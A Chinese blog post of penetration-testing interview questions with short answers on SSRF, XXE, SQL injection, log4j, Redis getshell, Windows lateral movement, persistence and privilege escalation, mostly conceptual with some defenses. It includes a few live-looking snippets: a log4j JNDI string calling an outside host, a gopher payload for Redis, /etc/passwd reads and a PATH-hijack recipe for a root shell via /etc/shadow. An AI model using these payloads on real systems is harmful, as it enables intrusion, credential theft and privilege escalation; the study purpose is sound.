面试题(持续完善中)

1、常见端口/服务漏洞列表汇总

descript

descript

2、反序列化漏洞的原理

在反序列化unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内 存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作。

3、xxe漏洞的原理

允许了引入外部实体的加载,从而导致程序在解析执行xml的时候,可以加载恶意外部文件,从而造成任意文件读取,命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害

4、文件上传绕过方法、防御

descript

防御:目录不可执行、白名单、重命名 随机文件名。

5、黄金票据、白银票据的区别和利用方式

descript

6、后渗透的权限维持

0、匿名用户
1、注册表开机自启动
2、计划任务
3、dll劫持
4、内存型不死马
5、shift后门
6、webshell后门
7、启动项

7、绕WAF可以尝试哪些手段

编码、修改请求方式、复参数绕过、内联注释、等价函数绕过。。。

8、udf提权原理

利用root高权限,创建带有调用cmd函数的udf.dll库

9、Windows cmd 如何下载文件

wget、certutil、

10、SSRF 禁用 127.0.0.1 后如何绕过(SSRF绕过IP限制方法)

1、更改IP地址写法

8进制格式:0300.0250.0.1

16进制格式:0xC0.0xA8.0.1

10进制整数格式:3232235521

16进制整数格式:0xC0A80001

2、利用解析URL所出现的问题

http://www.baidu.com@192.168.0.1/

3、利用302跳转

http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1

4、通过各种非HTTP协议

gopher协议、file协议

gopher://127.0.0.1:6379/_*1%0

11、php里面可以执行命令的函数

eval、system、exec、popen、assert

12、Sql 注入无回显的情况下,利用DNSlog,mysql 下利用什么构造代码,mssql 下又如何?

load_file、master.xp_dirtree

13、对称加密和非对称加密

对称加密:加解密用同一密钥,密钥维护复杂 n(n-1)/2,不适合互联网传输

密钥,加解密效率高。应用于加密数据。

非对称加密:公钥推不出私钥,每个用户一个非对称密钥对就可以,适合于互联

网传输公钥,但是加密效率低,应用于数字签名及加密

14、什么是同源策略?

为了防止不同域在用户浏览器中彼此干扰,浏览器对从不同来源(域)收到的内

容进行隔离。

浏览器不允许任何旧有脚本访问一个站点的 cookie,否则,会话容易被劫持。

只有发布 cookie 的站点能够访问这些 cookie,只有通过该站点返回的页面所包含或加载的 JavaScript 才能访问 cookie。

15、xss 如何盗取 cookie?

<script>document.cookie</script>

$cookie=$_GET['cookie'];

16、xss 如何防御?

1.对前端输入做过滤和编码·

对特殊字符进行过滤和转义;

2.对输出做过滤和编码:在变量值输出到前端的 HTML 时进行编码和转义;

3.给关键 cookie 使用 http-only。

17、SYN 攻击原理

利用 TCP 协议缺陷,通过发送大量 的半连接请求,耗费 CPU 和内存资源。

客户端在短时间内伪造大量不存在的 IP 地址,向服务器不断地发送 syn 包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的 SYN 包将长时间占用未连接队列,正常的 SYN 请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪

18、DDOS、 CC 攻击

DDOS:分布式拒绝服务

CC 主要是用来攻击页面的,模拟多个用户(多少线程就是多少用户)不停地进行访问那些需要大量数据操作(就是需要大量 CPU 时间)的页面,造成服务器资源的浪费

19、Web 服务器被入侵后,怎样进行排查

查 web 服务器日志

看异常端口开放

使用安全狗等服务器安全软件清扫

20、DLL 劫持原理

DLL 劫持利用系统未知DLL 的搜索路径方式,使得程序加载当前目录下的同名DLL。

调用了伪造的 dll 的同名函数,进入劫持 DLL 的代码,处理完毕后,再调用原 DLL 函数。

21、HTTPS 和 HTTP 的区别

https 协议需要到 CA 申请证书。

http 是超文本传输协议,信息是明文传输

https 则是具有安全性的 ssl 加密传输协议。

http 和 https 使用的是完全不同的连接方式,用的端口也不一样,

前者是 80,后者是 443。

http 的连接很简单,是无状态的;

HTTPS 协议是由 SSL+HTTP 协议构建的可进行加密传输、身份认证的网络协议,比 http 协议安全。

22、SSRF 利用方式

1、内网访问

2、伪协议读取文件

3、端口扫描

4、发送post请求,利用file协议读取源码

5、提交文件

6、攻击FastCGI协议

7、攻击Redis协议

23、sql注入

1、构造恶意SQL语句的方法有:

构造堆叠,构造闭合,构造报错,构造时间差,等等

2、按照注入点类型来分:

数字型注入,字符型注入,搜索型注入

3、按照提交类型来分:

GET注入,POST注入,COOKIE注入,HTTP头部注入

4、按照技巧分类:

union联合注入,布尔盲注,时间盲注,堆叠注入,宽字节注入、二次注入、Cookie 注入、报错注入(floor报错注入、ExtractValue报错注入、UpdataXml报错注入)、 REGEXP 正则匹配、User-Agent 注入、过滤绕过、万能密码

24、常见的中间件漏洞?

IIS

PUT 漏洞、短文件名猜解、远程代码执行、解析漏洞

Apache

解析漏洞、目录遍历

Nginx

文件解析、目录遍历、CRLF 注入、目录穿越

Tomcat

远程代码执行、war 后门文件部署

JBoss

反序列化漏洞、war 后门文件部署

WebLogic反序列化漏洞

SSRF 任意文件上传

war 后门文件部署

Apache Shiro 反序列化漏洞

25、OWASP Top10 有哪些漏洞

SQL 注入

失效的身份认证

敏感数据泄露

XML 外部实体(XXE)

失效的访问控制

安全配置错误

跨站脚本(XSS)

不安全的反序列化

使用含有已知漏洞的组件

不足的日志记录和监控

26、Windows 常用的提权方法

系统内核溢出漏洞提权

数据库提权

WEB 中间件漏洞提权

滥用高危权限令牌提权

DLL 劫持提权

错误的系统配置提权

组策略首选项提权

第三方软件/服务提权等

27、常见的状态码及含义

1xx(临时响应)

2xx (成功)

3xx (重定向)

4xx(请求错误)

5xx(服务器错误)

28、arp 协议的工作原理

地址解析协议,即 ARP(Address Resolution Protocol),是根据 IP 地址获取物理地址的一个TCP/IP 协议

29、如何防范文件上传漏洞

文件上传的目录设置为不可执行

判断文件类型

白名单校验

重命名

限制上传文件的大小

单独设置文件服务器的域名

30、如何防范 CSRF 攻击

referer 识别

token 机制

验证码

安全框架,例如 Spring Security

31、redis 未授权访问漏洞利用(getshell)的几种方式

原理:默认无密码认证,且暴露在公网

利用方式:

1、上传SSH公钥进行登录     (前提是开启了ssh服务,目标机器root权限启动redis)(本地生成ssh密钥-- 将公钥文件内容写入一个txt-- 将公钥发送到对方redis服务器的缓存中--  利用redis-cli写配置的方式将公钥写入ssh目录-- 利用私钥远程登录redis的22端口)

2、定时任务写入反弹shell

3、直接写入webshell(需要对方开启了web服务和知道web路径,并有读写权限)

4、主从复制rce

5、lua rce

6、反序列化

防御方式:

1.关闭6379。关闭对外端口防止攻击者利用

2.设置密码登录。不允许未授权空密码的方式直接登录redis,从而更改敏感文件信息。

3.服务器以低权限运行redis服务

4.禁用高危命令

32、反射型和dom型区别

反射型经过服务器。dom型不经过服务器,dom型可能是存储型xss。

(隐式数据转换+拼接字符串)绕过xss。

33、linux ssh软连接后门原理?

ssh配置中开启了pam,进行身份验证。pam_rootok.so使root用户直接通过认证而无需输入密码。

34、ipc原理

条件:账号密码、开启ipc默认共享、139,445端口开放。

35、更换UA头的作用?

访问空白页面或403页面。(访问同一页面,不同的ua头,可能结果不同)

36、LM、ntlm加密?

lm使用des,ntlm使用md4加密。

37、log4j2原理、防御?

${jndi:ladp://xx.com/yy}

1、攻击者发送带有jndi:ladp内容的恶意字符串

2、log4j解析到ladp,调用lookup方法去解析url: ladp://...

3、从恶意的ladp服务器上下载class文件,并在本地加载和实例化对象,实现jndi注入。

防御:

过滤用户输入、禁止lookup下载远程文件、禁止log4j的应用连接外网、禁用lookup方法、升级、使用waf。

38、webshell管理工具流量特征?

菜刀:

1,请求包中:ua头为百度,火狐
2,请求体中存在eavl,base64等特征字符
3,请求体中传递的payload为base64编码,并且存在固定的

蚁剑:

Php中使用assert,eval执行,
asp 使用eval
在jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征

冰蝎:

content-type=application/octet-stream

 默认设置 Accept&Cache-Control

39、shiro漏洞

550、721。721需要remember-me的cookie。

40、文件包含漏洞?

远程文件包含、本地文件包含(结合图片马)

41、ssrf无回显?易出现的地方?

dnslog或者自己开服务器看日志

易出现地方:rss订阅、输入url的功能、嵌入远程图片、pdf解析、字幕下载、分享。

利用:扫描内网,扫描端口,file协议读文件,dict协议,gopher伪协议,php协议。

42、os-shell与sql-shell 原理和区别?

原理:上传了2个php文件,一个命令执行+一个文件上传功能。

条件:root权限+网站绝对路径+魔术引号关闭

区别:执行系统命令。执行sql命令。

43、短信轰炸漏洞?绕过?

骚扰用户+增加商家费用。

绕过:数组、分号、逗号。

44、逻辑漏洞

越权漏洞

密码修改(越权修改别人密码、)

密码找回

验证码漏洞

支付漏洞

投票/积分/抽奖

短信轰炸

45、url跳转?

url后接新url

46、weblogic漏洞、利用

弱口令、文件上传、java反序列化漏洞、ssrf、xml decoder反序列化。

利用:反序列化、ssrf、

47、jndi注入原理?

java命令和目录接口,lookup() 方法的参数可控,攻击者可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

ladp 轻量级目录访问协议

rmi java远程方法调用

48、js的作用?

暴露接口、逆向、敏感信息。

49、403页面如何测试?

改ua头、改请求方式、fuzz。

50、xxe原理、利用方式?

上传xml文件的位置,没有对xml文件进行过滤,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行、内网端口扫描、攻击内网网站、发起Dos攻击

ftp、http、dict、file、gopher协议。

51、溯源的方式?

ip地址分析、入侵日志监测、全流量分析

52、webshell过waf?

变量覆盖、加密混淆、异或、编码解码

53、二次注入

先插入恶意数据,再查询数据。

54、psexec、wmiexec区别

记录大量日志。wmiexec不记录日志,更隐蔽。

55、横向渗透命令执行手段?

psexec、smbexec、wmiexec、net use ipc共享+(at、schtasks、sc命令)计划任务+type命令。

56、docker逃逸

从容器权限逃逸出来,获取宿主机权限。

逃逸方法:

1、配置不当引起的逃逸(remote api未授权访问、docker.sock危险挂载、特权模式启动、挂载敏感目录)

2、软件设计漏洞(runc漏洞、cp命令)

3、内核漏洞(脏牛漏洞)

57、webshell不出网?

regeorg上传正向连接,探测出网协议。

58、反序列化不出网?

利用dnslog回显、dns出网。

58、fastjson反序列化利用原理?

在请求包里发送恶意的json payload,没有对type字段过滤,从而传入恶意的类。

59、黄金、白银票据区别?

1、权限不同(可以获取任意kerberos的访问权限。  只能访问指定服务)

2、认证流程不同(同kdc交互,不同as交互。     不同kdc交互,直接访问server)

3、加密方式不同(由krbtgt ntlm hash加密。    由ntlm hash加密)

60、redis在windows、linux下getshell。

windows:

1、powershell反弹shell

2、写启动项,重启连接cs。

3、写lpk,mof,lnk劫持。

linux:

写webshell,写ssh公钥 登录利用。

61、一次完整的http请求全过程?

域名解析--tcp建立3次握手--发送http请求--服务器返回html--浏览器根据html建立dom树,呈现给用户。

62、windows横向渗透方式?

1、hash传递攻击 pth

2、票据传递攻击 ptt

3、密钥传递攻击 ptk

3、psexec、smbexec、wmiexec、ipc连接。

63、bypass UAC技术总结

白名单程序、dll劫持、com组件劫持、clr加载dll、注册表劫持。

64、dns原理

向本地域名服务器发送域名解析请求,收到请求,先查询本地缓存,有则返回结果。没有,则把请求发给根域名服务器,本地域名服务器保存结果到缓存,并返回给客户机。

65、dnslog原理

将查询信息记录到本地dns日志中。(DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。)

sql盲注、xss、xxe、ssrf、rce。

66、应急响应流程?

准备--检测--抑制--根除--恢复--总结

67、令牌窃取

并非提权,只能窃取到比自己低权限的用户,不能从普通用户窃取到管理员。

68、jsonp数据劫持漏洞

浏览器的同源策略,使用jsonp实现跨域访问。(csrf??)

69、ms14-068原理

伪造高权限的pac((特权属性证书:验证用户所拥有的权限),获取高权限身份,将普通域用户提升到域管理员。

70、windows下载方案?

powershell、wget、certutil、ftp、ipc文件共享(建立ipc远程连接,cp复制远程文件到主机)

71、环境变量劫持提权

#include <stdlib.h>
#include <unistd.h>
int main()
{
    setuid(0);//run as root
    system("id");
    system("cat /etc/shadow");
    return 0;
}

配合suid文件使用:

1、在tmp目录把命令写入到文件(echo "/bin/bash" > cat && chmod 777 cat)

2、把tmp目录增加到环境变量path(export PATH=/tmp:$PATH)

3、执行 cat 的时候会优先从当前目录下查找程序。所以 cat 命令会被劫持,就可以执行任意命令

在 test-exp 中存在 system("cat /etc/shadow");,使用 cat 命令,因为 cat 命令被劫持成了 /bin/bash,就变成了 system("/bin/bash /etc/shadow),这个文件又是 SUID 文件以 root 权限执行,就直接切换至了 root 用户。

72、fofa能做什么?

信息收集、漏洞挖掘、绕过cdn找真实ip、找目录遍历漏洞、找摄像头等设备

73、nmap原理

发送探测包到目标主机,能否收到回复报文,或根据返回包的结果判断

74、md5、rsa、aes、des区别?

MD5:信息摘要算法

rsa:非对称加密

aes、des:对称加密(区别:加密过程)

75、http、https区别?

80、443端口。明文传输。利用ssl/tls加密数据包。

76、sql注入绕过逗号过滤

1、join代替逗号

2、substring函数无需逗号

3、注释用%23(#的url编码),不要用#、--+。

77、dos、ddos区别

拒绝服务攻击     1v1

分布式拒绝服务攻击  nv1

78、chmod 修改权限

chmod +s 提升可执行文件权限

chattr 修改文件属性 (chattr -i xx)

79、tcp 3次握手,4次挥手?

3次握手:连接请求、对请求的确认、对确认的确认。

4次挥手:cli发 连接释放的请求、svr发确认报文、svr发连接释放报文、客户端收到服务器的连接释放报文后,发确认报文,服务器收到确认,立即进入关闭状态。

80、xss、csrf、ssrf区别?

csrf:用户登陆受信任网站A,在未登出A的情况下,访问了恶意网站B,导致A的cookie被B利用。(模仿合法用户对服务器发起请求)

由客户端发起,服务器没有对用户提交的数据进行严格的把控,导致攻击者利用用户的cookie信息伪造用户请求发送至服务器。和 XSS 不同的是,CSRF 攻击不需要将恶意代码注入用户的页面,仅仅是利用服务器的漏洞和用户的登录状态来实施攻击。

ssrf:由服务器发起,服务器对用户提供的可控URL地址过于信任,没有经过严格检测,导致可攻击内网。

重放攻击:重放截取的数据包,达到身份认证的目的。

81、python代码漏洞

输入注入、xml解析(xxe漏洞)、assert语句、依赖包漏洞(中间件漏洞)

82、php伪协议

file、zip、data、phar、ftp、dict、gopher。

83、php危险函数

eval、system、exec、shell_exec、popen、assert

代码注入、代码执行、命令执行、文件包含、文件操作

84、扫描器原理

构造payload,组包并发送给服务器。

85、%00截断原理

(ascII为0的字符)遇到%00,认为读取结束。条件:(1、php<5.3.4 。2、魔术引号关闭)

86、ssrf利用、防御、绕过?

原理:提供从其他服务器获取数据的能力。且没有对目标地址作正确的过滤和限制

利用:攻击内网,file协议读取本地文件,

伪协议:

  • file://:从文件系统中获取文件内容,如,file:///etc/passwd
  • dict://:字典服务器协议,访问字典资源,如,dict:///ip:6739/info
  • gopher://:分布式文档传递服务,可使用gopherus生成payload。

防御:

过滤用户输入、过滤返回信息、限制协议(允许访问HTTP和HTTPS)。

绕过:

稀有地址绕过、302重定向绕过、进制转换绕过。

 

posted @ 2023-03-23 13:19  hello_bao  阅读(220)  评论(0)    收藏  举报